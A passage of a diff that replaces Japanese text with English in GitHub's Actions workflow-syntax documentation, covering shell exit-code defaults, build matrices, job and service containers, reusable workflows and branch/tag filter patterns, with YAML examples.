に必要なソフトウェアがインストールされていることを確認する方法については、「[カスタムイメージの作成](/actions/using-github-hosted-runners/creating-custom-images)」を参照してください。 +{% ifversion ghae %}For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." {% else %} -GitHubホストランナーに含まれるソフトウェアに関する情報については「[GitHubホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners#supported-software)」を参照してください。 +For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)." {% endif %} -### 終了コードとエラーアクションの環境設定 +### Exit codes and error action preference -組み込みのshellキーワードについては、{% data variables.product.prodname_dotcom %}がホストする実行環境で以下のデフォルトが提供されます。 シェルスクリプトを実行する際には、以下のガイドラインを使ってください。 +For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts. - `bash`/`sh`: - - `set -eo pipefail`を使用したフェイルファースト動作 : `bash`及び組み込みの`shell`のデフォルト。 Windows以外のプラットフォームでオプションを指定しない場合のデフォルトでもあります。 - - フェイルファーストをオプトアウトし、シェルのオプションにテンプレート文字列を指定して完全に制御することもできます。 たとえば、`bash {0}`とします。 - - shライクのシェルは、スクリプトで実行された最後のコマンドの終了コードで終了します。これが、アクションのデフォルトの動作でもあります。 runnerは、この終了コードに基づいてステップのステータスを失敗/成功としてレポートします。 + - Fail-fast behavior using `set -eo pipefail`: Default for `bash` and built-in `shell`. It is also the default when you don't provide an option on non-Windows platforms. + - You can opt out of fail-fast and take full control by providing a template string to the shell options. For example, `bash {0}`. + - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code. - `powershell`/`pwsh` - - 可能な場合のフェイルファースト動作。 `pwsh`および`powershell`の組み込みシェルの場合は、スクリプトの内容の前に`$ErrorActionPreference = 'stop'` が付加されます。 - - アクションステータスがスクリプトの最後の終了コードを反映するように、PowerShellスクリプトに`if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }`を付加します。 - - 必要な場合には、組み込みシェルを使用せずに、`pwsh -File {0}`や`powershell -Command "& '{0}'"`などのカスタムシェルを指定すれば、いつでもオプトアウトすることができます。 + - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents. + - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code. + - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need. - `cmd` - - 各エラーコードをチェックしてそれぞれに対応するスクリプトを書く以外、フェイルファースト動作を完全にオプトインする方法はないようです。 デフォルトでその動作を指定することはできないため、この動作はスクリプトに記述する必要があります。 - - `cmd.exe`は、実行した最後のプログラムのエラーレベルで終了し、runnerにそのエラーコードを返します。 この動作は、これ以前の`sh`および`pwsh`のデフォルト動作と内部的に一貫しており、`cmd.exe`のデフォルトなので、この動作には影響しません。 + - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script. + - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact. ## `jobs..steps[*].with` -アクションによって定義される入力パラメータの`map`。 各入力パラメータはキー/値ペアです。 入力パラメータは環境変数として設定されます。 変数の前には`INPUT_`が付けられ、大文字に変換されます。 +A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case. -### サンプル +### Example -`hello_world`アクションで定義される3つの入力パラメータ (`first_name`、`middle_name`、`last_name`) を定義します。 `hello-world`アクションからは、これらの入力変数は`INPUT_FIRST_NAME`、`INPUT_MIDDLE_NAME`、`INPUT_LAST_NAME`という環境変数としてアクセスできます。 +Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables. ```yaml jobs: @@ -999,9 +1034,9 @@ jobs: ## `jobs..steps[*].with.args` -Dockerコンテナへの入力を定義する`文字列`。 {% data variables.product.prodname_dotcom %}は、コンテナの起動時に`args`をコンテナの`ENTRYPOINT`に渡します。 このパラメータは、`文字列の配列`をサポートしません。 +A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter. -### サンプル +### Example {% raw %} ```yaml @@ -1014,17 +1049,17 @@ steps: ``` {% endraw %} -`args`は、`Dockerfile`中の`CMD`命令の場所で使われます。 `Dockerfile`中で`CMD`を使うなら、以下の優先順位順のガイドラインを利用してください。 +The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference: -1. 必須の引数をアクションのREADME中でドキュメント化し、`CMD`命令から除外してください。 -1. `args`を指定せずにアクションを利用できるよう、デフォルトを使ってください。 -1. アクションが`--help`フラグやそれに類するものを備えている場合は、アクションを自己ドキュメント化するためのデフォルトとして利用してください。 +1. Document required arguments in the action's README and omit them from the `CMD` instruction. +1. Use defaults that allow using the action without specifying any `args`. +1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting. ## `jobs..steps[*].with.entrypoint` -`Dockerfile`中のDockerの`ENTRYPOINT`をオーバーライドします。あるいは、もしそれが指定されていなかった場合に設定します。 shellやexec形式を持つDockerの`ENTRYPOINT`命令とは異なり、`entrypoint`キーワードは実行する実行可能ファイルを定義する単一の文字列だけを受け付けます。 +Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run. -### サンプル +### Example ```yaml steps: @@ -1034,17 +1069,17 @@ steps: entrypoint: /a/different/executable ``` -`entrypoint`キーワードはDockerコンテナアクションで使われることを意図したものですが、入力を定義しないJavaScriptのアクションでも使うことができます。 +The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs. ## `jobs..steps[*].env` -ランナー環境でステップが使う環境変数を設定します。 ワークフロー全体あるいはジョブのための環境変数を設定することもできます。 詳しい情報については「[`env`](#env)」及び「[`jobs..env`](#jobsjob_idenv)」を参照してください。 +Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs..env`](#jobsjob_idenv). {% data reusables.repositories.actions-env-var-note %} -パブリックなアクションは、READMEファイル中で期待する環境変数を指定できます。 環境変数に秘密情報を設定しようとしている場合、秘密情報は`secrets`コンテキストを使って設定しなければなりません。 For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)." +Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)." -### サンプル +### Example {% raw %} ```yaml @@ -1059,37 +1094,37 @@ steps: ## `jobs..steps[*].continue-on-error` -ステップが失敗してもジョブが失敗にならないようにします。 `true`に設定すれば、このステップが失敗した場合にジョブが次へ進めるようになります。 +Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails. ## `jobs..steps[*].timeout-minutes` -プロセスがkillされるまでにステップが実行できる最大の分数。 +The maximum number of minutes to run the step before killing the process. ## `jobs..timeout-minutes` -{% data variables.product.prodname_dotcom %}で自動的にキャンセルされるまでジョブを実行する最長時間 (分)。 デフォルト: 360 +The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360 If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see "[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#usage-limits)." ## `jobs..strategy` -strategy (戦略) によって、ジョブのビルドマトリクスが作成されます。 それぞれのジョブを実行する様々なバリエーションを定義できます。 +A strategy creates a build matrix for your jobs. You can define different variations to run each job in. ## `jobs..strategy.matrix` -様々なジョブの設定のマトリックスを定義できます。 マトリックスによって、単一のジョブの定義内の変数の置き換えを行い、複数のジョブを作成できるようになります。 たとえば、マトリックスを使って複数のサポートされているバージョンのプログラミング言語、オペレーティングシステム、ツールに対するジョブを作成できます。 マトリックスは、ジョブの設定を再利用し、設定した各マトリクスに対してジョブを作成します。 +You can define a matrix of different job configurations. A matrix allows you to create multiple jobs by performing variable substitution in a single job definition. For example, you can use a matrix to create jobs for more than one supported version of a programming language, operating system, or tool. A matrix reuses the job's configuration and creates a job for each matrix you configure. {% data reusables.github-actions.usage-matrix-limits %} -`matrix`内で定義した各オプションは、キーと値を持ちます。 定義したキーは`matrix`コンテキスト中の属性となり、ワークフローファイルの他のエリア内のプロパティを参照できます。 たとえば、オペレーティングシステムの配列を含む`os`というキーを定義したなら、`matrix.os`属性を`runs-on`キーワードの値として使い、それぞれのオペレーティングシステムに対するジョブを作成できます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts)」を参照してください。 +Each option you define in the `matrix` has a key and value. The keys you define become properties in the `matrix` context and you can reference the property in other areas of your workflow file. For example, if you define the key `os` that contains an array of operating systems, you can use the `matrix.os` property as the value of the `runs-on` keyword to create a job for each operating system. For more information, see "[Contexts](/actions/learn-github-actions/contexts)." -`matrix`を定義する順序は意味を持ちます。 最初に定義したオプションは、ワークフロー中で最初に実行されるジョブになります。 +The order that you define a `matrix` matters. The first option you define will be the first job that runs in your workflow. ### Example: Running multiple versions of Node.js -設定オプションに配列を指定すると、マトリクスを指定できます。 たとえばランナーがNode.jsのバージョン10、12、14,をサポートしている場合、これらのバージョンの配列を`matrix`で指定できます。 +You can specify a matrix by supplying an array for the configuration options. For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`. -この例では、`node`キーにNode.jsの3つのバージョンの配列を設定することによって、3つのジョブのマトリクスを作成します。 このマトリックスを使用するために、この例では`matrix.node`コンテキスト属性を`setup-node`アクションの入力パラメータである`node-version`に設定しています。 その結果、3 つのジョブが実行され、それぞれが異なるバージョンのNode.js を使用します。 +This example creates a matrix of three jobs by setting the `node` key to an array of three Node.js versions. To use the matrix, the example sets the `matrix.node` context property as the value of the `setup-node` action's input parameter `node-version`. As a result, three jobs will run, each using a different Node.js version. {% raw %} ```yaml @@ -1097,7 +1132,7 @@ strategy: matrix: node: [10, 12, 14] steps: - # GitHub でホストされているランナーで使用されるノードバージョンを設定する + # Configures the node version used on GitHub-hosted runners - uses: actions/setup-node@v2 with: # The Node.js version to configure @@ -1105,14 +1140,14 @@ steps: ``` {% endraw %} -{% data variables.product.prodname_dotcom %}ホストランナーを使う場合にNode.jsのバージョンを設定する方法としては、`setup-node`アクションをおすすめします。 詳しい情報については[`setup-node`](https://github.com/actions/setup-node)アクションを参照してください。 +The `setup-node` action is the recommended way to configure a Node.js version when using {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see the [`setup-node`](https://github.com/actions/setup-node) action. ### Example: Running with multiple operating systems -複数のランナーオペレーティングシステムでワークフローを実行するマトリックスを作成できます。 複数のマトリックス設定を指定することもできます。 この例では、6つのジョブのマトリックスを作成します。 +You can create a matrix to run workflows on more than one runner operating system. You can also specify more than one matrix configuration. This example creates a matrix of 6 jobs: -- 配列`os`で指定された2つのオペレーティングシステム -- 配列`node`で指定された3つのバージョンのNode.js +- 2 operating systems specified in the `os` array +- 3 Node.js versions specified in the `node` array {% data reusables.repositories.actions-matrix-builds-os %} @@ -1130,13 +1165,13 @@ steps: ``` {% endraw %} -{% ifversion ghae %}{% data variables.actions.hosted_runner %} でサポートされている設定オプションを見つけるには、「[ソフトウェア仕様](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)」を参照してください。 -{% else %}{% data variables.product.prodname_dotcom %} ホストランナーでサポートされている設定オプションについては、「[{% data variables.product.prodname_dotcom %} の仮想環境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)」を参照してください。 +{% ifversion ghae %}To find supported configuration options for {% data variables.actions.hosted_runner %}s, see "[Software specifications](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)." +{% else %}To find supported configuration options for {% data variables.product.prodname_dotcom %}-hosted runners, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)." {% endif %} ### Example: Including additional values into combinations -既存のビルドマトリクスジョブに、設定オプションを追加できます。 たとえば、`windows-latest` を使うジョブで`node` のバージョン 8 を実行しているときに、`npm` の特定のバージョンを使いたい場合は、`include` を使って追加のオプションを指定できます。 +You can add additional configuration options to a build matrix job that already exists. For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option. {% raw %} ```yaml @@ -1146,8 +1181,8 @@ strategy: os: [macos-latest, windows-latest, ubuntu-18.04] node: [8, 10, 12, 14] include: - # osとバージョンに一致するマトリックスレッグの値が - # 6 の npm の新しい変数を含む + # includes a new variable of npm with a value of 6 + # for the matrix leg matching the os and version - os: windows-latest node: 8 npm: 6 @@ -1156,7 +1191,7 @@ strategy: ### Example: Including new combinations -`include`を使って新しいジョブを追加し、マトリックスを構築できます。 マッチしなかったincludeの設定があれば、マトリックスに追加されます。 たとえば、`node`のバージョン14を使って複数のオペレーティングシステム上でビルドを行い、追加で実験的なジョブをUbuntu上でnodeバージョン15で行いたいなら、`include`を使ってこの追加のジョブを指定できます。 +You can use `include` to add new jobs to a build matrix. Any unmatched include configurations are added to the matrix. For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job. {% raw %} ```yaml @@ -1174,7 +1209,7 @@ strategy: ### Example: Excluding configurations from a matrix -`exclude` オプションを使って、ビルドマトリクスに定義されている特定の設定を削除できます。 `exclude` を使うと、ビルドマトリクスにより定義されたジョブが削除されます。 ジョブの数は、指定する配列に含まれるオペレーティングシステム (`os`) の外積から、任意の減算 (`exclude`) で引いたものです。 +You can remove a specific configurations defined in the build matrix using the `exclude` option. Using `exclude` removes a job defined by the build matrix. The number of jobs is the cross product of the number of operating systems (`os`) included in the arrays you provide, minus any subtractions (`exclude`). {% raw %} ```yaml @@ -1184,7 +1219,7 @@ strategy: os: [macos-latest, windows-latest, ubuntu-18.04] node: [8, 10, 12, 14] exclude: - # macOS のノード 8 を除外する + # excludes node 8 on macOS - os: macos-latest node: 8 ``` @@ -1192,23 +1227,23 @@ strategy: {% note %} -**ノート:** すべての`include`の組み合わせは、`exclude`の後に処理されます。 このため、`include`を使って以前に除外された組み合わせを追加し直すことができます。 +**Note:** All `include` combinations are processed after `exclude`. This allows you to use `include` to add back combinations that were previously excluded. {% endnote %} -#### マトリックスで環境変数を使用する +#### Using environment variables in a matrix -それぞれのテストの組み合わせに、`include`キーを使ってカスタムの環境変数を追加できます。 そして、後のステップでそのカスタムの環境変数を参照できます。 +You can add custom environment variables for each test combination by using the `include` key. You can then refer to the custom environment variables in a later step. {% data reusables.github-actions.matrix-variable-example %} ## `jobs..strategy.fail-fast` -`true`に設定すると、いずれかの`matrix`ジョブが失敗した場合に{% data variables.product.prodname_dotcom %}は進行中のジョブをすべてキャンセルします。 デフォルト: `true` +When set to `true`, {% data variables.product.prodname_dotcom %} cancels all in-progress jobs if any `matrix` job fails. Default: `true` ## `jobs..strategy.max-parallel` -`matrix`ジョブ戦略を使用するとき、同時に実行できるジョブの最大数。 デフォルトでは、{% data variables.product.prodname_dotcom %}は{% data variables.product.prodname_dotcom %}がホストしている仮想マシン上で利用できるrunnerに応じてできるかぎりの数のジョブを並列に実行します。 +The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. By default, {% data variables.product.prodname_dotcom %} will maximize the number of jobs run in parallel depending on the available runners on {% data variables.product.prodname_dotcom %}-hosted virtual machines. ```yaml strategy: @@ -1217,11 +1252,11 @@ strategy: ## `jobs..continue-on-error` -ジョブが失敗した時に、ワークフローの実行が失敗にならないようにします。 `true`に設定すれば、ジョブが失敗した時にワークフローの実行が次へ進めるようになります。 +Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails. ### Example: Preventing a specific failing matrix job from failing a workflow run -ジョブマトリックス中の特定のジョブが失敗しても、ワークフローの実行が失敗にならないようにすることができます。 たとえば、`node`が`15`に設定された実験的なジョブが失敗しても、ワークフローの実行を失敗させないようにしたいとしましょう。 +You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run. {% raw %} ```yaml @@ -1242,11 +1277,11 @@ strategy: ## `jobs..container` -ジョブの中で、まだコンテナを指定していない手順を実行するコンテナ。 スクリプトアクションとコンテナアクションの両方を使うステップがある場合、コンテナアクションは同じボリュームマウントを使用して、同じネットワーク上にある兄弟コンテナとして実行されます。 +A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts. -`container`を設定しない場合は、コンテナで実行されるよう設定されているアクションを参照しているステップを除くすべてのステップが、`runs-on`で指定したホストで直接実行されます。 +If you do not set a `container`, all steps will run directly on the host specified by `runs-on` unless a step refers to an action configured to run in a container. -### サンプル +### Example ```yaml jobs: @@ -1262,7 +1297,7 @@ jobs: options: --cpus 1 ``` -コンテナイメージのみを指定する場合、`image`は省略できます。 +When you only specify a container image, you can omit the `image` keyword. ```yaml jobs: @@ -1272,13 +1307,13 @@ jobs: ## `jobs..container.image` -アクションを実行するコンテナとして使用するDockerイメージ。 The value can be the Docker Hub image name or a registry name. +The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a registry name. ## `jobs..container.credentials` {% data reusables.actions.registry-credentials %} -### サンプル +### Example {% raw %} ```yaml @@ -1292,23 +1327,23 @@ container: ## `jobs..container.env` -コンテナ中の環境変数の`map`を設定します。 +Sets a `map` of environment variables in the container. ## `jobs..container.ports` -コンテナで公開するポートの`array`を設定します。 +Sets an `array` of ports to expose on the container. ## `jobs..container.volumes` -使用するコンテナにボリュームの`array`を設定します。 volumes (ボリューム) を使用すると、サービス間で、または1つのジョブのステップ間でデータを共有できます。 指定できるのは、名前付きDockerボリューム、匿名Dockerボリューム、またはホスト上のバインドマウントです。 +Sets an `array` of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host. -ボリュームを指定するには、ソースパスとターゲットパスを指定してください。 +To specify a volume, you specify the source and destination path: `:`. -``は、ホストマシン上のボリューム名または絶対パス、``はコンテナでの絶対パスです。 +The `` is a volume name or an absolute path on the host machine, and `` is an absolute path in the container. -### サンプル +### Example ```yaml volumes: @@ -1319,7 +1354,7 @@ volumes: ## `jobs..container.options` -追加のDockerコンテナリソースのオプション。 オプションの一覧は、「[`docker create`のオプション](https://docs.docker.com/engine/reference/commandline/create/#options)」を参照してください。 +Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)." {% warning %} @@ -1331,41 +1366,41 @@ volumes: {% data reusables.github-actions.docker-container-os-support %} -ワークフロー中のジョブのためのサービスコンテナをホストするために使われます。 サービスコンテナは、データベースやRedisのようなキャッシュサービスの作成に役立ちます。 ランナーは自動的にDockerネットワークを作成し、サービスコンテナのライフサイクルを管理します。 +Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner automatically creates a Docker network and manages the life cycle of the service containers. -コンテナを実行するようにジョブを設定した場合、あるいはステップがコンテナアクションを使う場合は、サービスもしくはアクションにアクセスするためにポートをマップする必要はありません。 Dockerは自動的に、同じDockerのユーザ定義ブリッジネットワーク上のコンテナ間のすべてのポートを公開します。 サービスコンテナは、ホスト名で直接参照できます。 ホスト名は自動的に、ワークフロー中のサービスに設定したラベル名にマップされます。 +If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow. -ランナーマシン上で直接実行されるようにジョブを設定し、ステップがコンテナアクションを使わないのであれば、必要なDockerサービスコンテナのポートはDockerホスト（ランナーマシン）にマップしなければなりません サービスコンテナには、localhostとマップされたポートを使ってアクセスできます。 +If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port. -ネットワーキングサービスコンテナ間の差異に関する詳しい情報については「[サービスコンテナについて](/actions/automating-your-workflow-with-github-actions/about-service-containers)」を参照してください。 +For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)." ### Example: Using localhost -この例では、nginxとredisという2つのサービスを作成します。 Dockerホストのポートを指定して、コンテナのポートを指定しなかった場合、コンテナのポートは空いているポートにランダムに割り当てられます。 {% data variables.product.prodname_dotcom %}は、割り当てられたコンテナポートを{% raw %}`${{job.services..ports}}`{% endraw %}コンテキストに設定します。 以下の例では、サービスコンテナのポートへは{% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} 及び{% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} コンテキストでアクセスできます。 +This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services..ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts. ```yaml services: nginx: image: nginx - # Dockerホストのポート8080をnginxコンテナのポート80にマップする + # Map port 8080 on the Docker host to port 80 on the nginx container ports: - 8080:80 redis: image: redis - # Dockerホストのポート6379をRedisコンテナのランダムな空きポートにマップする + # Map TCP port 6379 on Docker host to a random free port on the Redis container ports: - 6379/tcp ``` ## `jobs..services..image` -アクションを実行するサービスコンテナとして使用するDockerイメージ。 The value can be the Docker Hub image name or a registry name. +The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a registry name. ## `jobs..services..credentials` {% data reusables.actions.registry-credentials %} -### サンプル +### Example {% raw %} ```yaml @@ -1385,23 +1420,23 @@ services: ## `jobs..services..env` -サービスコンテナ中の環境変数の`map`を設定します。 +Sets a `map` of environment variables in the service container. ## `jobs..services..ports` -サービスコンテナで公開するポートの`array`を設定します。 +Sets an `array` of ports to expose on the service container. ## `jobs..services..volumes` -使用するサービスコンテナにボリュームの`array`を設定します。 volumes (ボリューム) を使用すると、サービス間で、または1つのジョブのステップ間でデータを共有できます。 指定できるのは、名前付きDockerボリューム、匿名Dockerボリューム、またはホスト上のバインドマウントです。 +Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host. -ボリュームを指定するには、ソースパスとターゲットパスを指定してください。 +To specify a volume, you specify the source and destination path: `:`. -``は、ホストマシン上のボリューム名または絶対パス、``はコンテナでの絶対パスです。 +The `` is a volume name or an absolute path on the host machine, and `` is an absolute path in the container. -### サンプル +### Example ```yaml volumes: @@ -1412,7 +1447,7 @@ volumes: ## `jobs..services..options` -追加のDockerコンテナリソースのオプション。 オプションの一覧は、「[`docker create`のオプション](https://docs.docker.com/engine/reference/commandline/create/#options)」を参照してください。 +Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)." {% warning %} @@ -1423,13 +1458,13 @@ volumes: {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## `jobs..uses` -The location and version of a reusable workflow file to run as a job. +The location and version of a reusable workflow file to run as a job. `{owner}/{repo}/{path}/{filename}@{ref}` -`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. 詳しい情報については「[GitHub Actionsのためのセキュリティ強化](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)」を参照してください。 +`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)." -### サンプル +### Example {% data reusables.actions.uses-keyword-example %} @@ -1443,7 +1478,7 @@ Any inputs that you pass must match the input specifications defined in the call Unlike [`jobs..steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs..with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context. -### サンプル +### Example ```yaml jobs: @@ -1465,7 +1500,7 @@ When a job is used to call a reusable workflow, you can use `secrets` to provide Any secrets that you pass must match the names defined in the called workflow. -### サンプル +### Example {% raw %} ```yaml @@ -1484,61 +1519,61 @@ A pair consisting of a string identifier for the secret and the value of the sec Allowed expression contexts: `github`, `needs`, and `secrets`. {% endif %} -## フィルタパターンのチートシート +## Filter pattern cheat sheet -特別なキャラクタをパス、ブランチ、タグフィルタで利用できます。 +You can use special characters in path, branch, and tag filters. -- `*`ゼロ個以上のキャラクタにマッチしますが、`/`にはマッチしません。 たとえば`Octo*`は`Octocat`にマッチします。 -- `**`ゼロ個以上の任意のキャラクタにマッチします。 +- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`. +- `**`: Matches zero or more of any character. - `?`: Matches zero or one of the preceding character. -- `+`: 直前の文字の 1 つ以上に一致します。 -- `[]` 括弧内にリストされた、あるいは範囲に含まれる1つのキャラクタにマッチします。 範囲に含めることができるのは`a-z`、`A-Z`、`0-9`のみです。 たとえば、`[0-9a-z]`という範囲は任意の数字もしくは小文字にマッチします。 たとえば`[CB]at`は`Cat`あるいは`Bat`にマッチし、`[1-2]00`は`100`や`200`にマッチします。 -- `!`: パターンの先頭に置くと、肯定のパターンを否定にします。 先頭のキャラクタではない場合は、特別な意味を持ちません。 +- `+`: Matches one or more of the preceding character. +- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`. +- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character. -YAMLにおいては、`*`、`[`、`!`は特別なキャラクタです。 パターンを`*`、`[`、`!`で始める場合、そのパターンをクオートで囲まなければなりません。 +The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes. ```yaml -# 有効 +# Valid - '**/README.md' -# 無効 - ワークフローの実行を妨げる -# 解析エラーを作成する +# Invalid - creates a parse error that +# prevents your workflow from running. - **/README.md ``` -ブランチ、タグ、およびパスフィルタの文法に関する詳しい情報については、「[`on..`](#onpushpull_requestbranchestags)」および「[`on..paths`](#onpushpull_requestpaths)」を参照してください。 +For more information about branch, tag, and path filter syntax, see "[`on..`](#onpushpull_requestbranchestags)" and "[`on..paths`](#onpushpull_requestpaths)." -### ブランチやタグにマッチするパターン +### Patterns to match branches and tags -| パターン | 説明 | マッチの例 | -| ------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | -| `feature/*` | ワイルドカードの`*`は任意のキャラクタにマッチしますが、スラッシュ（`/`）にはマッチしません。 | `feature/my-branch`

                    `feature/your-branch` | -| `feature/**` | ワイルドカードの`**`は、ブランチ及びタグ名のスラッシュ（`/`）を含む任意のキャラクタにマッチします。 | `feature/beta-a/my-branch`

                    `feature/your-branch`

                    `feature/mona/the/octocat` | -| `main`

                    `releases/mona-the-octocat` | ブランチあるいはタグ名に完全に一致したときにマッチします。 | `main`

                    `releases/mona-the-octocat` | -| `'*'` | スラッシュ（`/`）を含まないすべてのブランチ及びタグ名にマッチします。 `*`はYAMLにおける特別なキャラクタです。 パターンを`*`で始める場合は、クオートを使わなければなりません。 | `main`

                    `releases` | -| `'**'` | すべてのブランチ及びタグ名にマッチします。 これは `branches`あるいは`tags`フィルタを使わない場合のデフォルトの動作です。 | `all/the/branches`

                    `every/tag` | -| `'*feature'` | `*`はYAMLにおける特別なキャラクタです。 パターンを`*`で始める場合は、クオートを使わなければなりません。 | `mona-feature`

                    `feature`

                    `ver-10-feature` | -| `v2*` | `v2`で始めるブランチ及びタグ名にマッチします。 | `v2`

                    `v2.0`

                    `v2.9` | -| `v[12].[0-9]+.[0-9]+` | メジャーバージョンが1もしくは2のすべてのセマンティックバージョニングブランチとタグにマッチします。 | `v1.10.1`

                    `v2.0.0` | +| Pattern | Description | Example matches | +|---------|------------------------|---------| +| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). | `feature/my-branch`

                    `feature/your-branch` | +| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`

                    `feature/your-branch`

                    `feature/mona/the/octocat` | +| `main`

                    `releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`

                    `releases/mona-the-octocat` | +| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`

                    `releases` | +| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`

